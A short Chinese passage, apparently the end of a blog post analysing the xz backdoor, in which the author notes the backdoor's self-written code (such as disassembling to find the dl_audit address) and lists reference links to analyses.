函数,xz后门中没有依赖其他任何库函数,完全是自行编写代码实现,比如对代码段进行反汇编,匹配出dl_audit
地址,都是工作量非常大的。我知道它是如何做的,到我能实现它还是非常大的距离。
参考链接
https://chromium.googlesource.com/chromium/deps/xz/+/dd8415469606fe7bfdc2ebc12b8457b912ede326/doc/examples/01_compress_easy.c
https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01
https://gist.github.com/q3k/3fadc5ce7b8001d550cf553cfdc09752
https://github.com/binarly-io/binary-risk-intelligence/tree/master/xz-backdoor